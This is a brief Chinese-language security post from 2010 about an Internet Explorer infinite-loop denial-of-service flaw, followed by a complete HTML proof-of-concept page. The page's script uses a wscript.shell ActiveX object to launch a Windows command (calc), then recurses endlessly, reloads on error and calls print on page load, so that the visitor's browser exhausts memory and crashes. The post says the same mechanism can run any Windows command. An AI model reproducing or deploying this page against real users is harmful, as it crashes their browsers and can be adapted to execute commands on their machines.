Internet Explorer 无限循环拒绝服务漏洞

发布:admin | 发布时间: 2010年3月19日

该漏洞存在于ActiveX控件中.
攻击者可以构造恶意页面诱使用户访问，恶意代码可运行任何Windows命令，消耗大量内存，导致访问者IE浏览器崩溃。

测试代码

<html>
<title>cnhackerx@163.com</title>
<head>
<script type="text/javascript">
function sucks()
{
var shell=new ActiveXObject("wscript.shell");
shell.Run("calc", 1);
}
function asheesh()
{
sucks();
window.onerror=new Function("history.go(0)");
window.print();
asheesh();
}
asheesh();
</script>
</head>
<body onLoad="asheesh()"></body>
</html>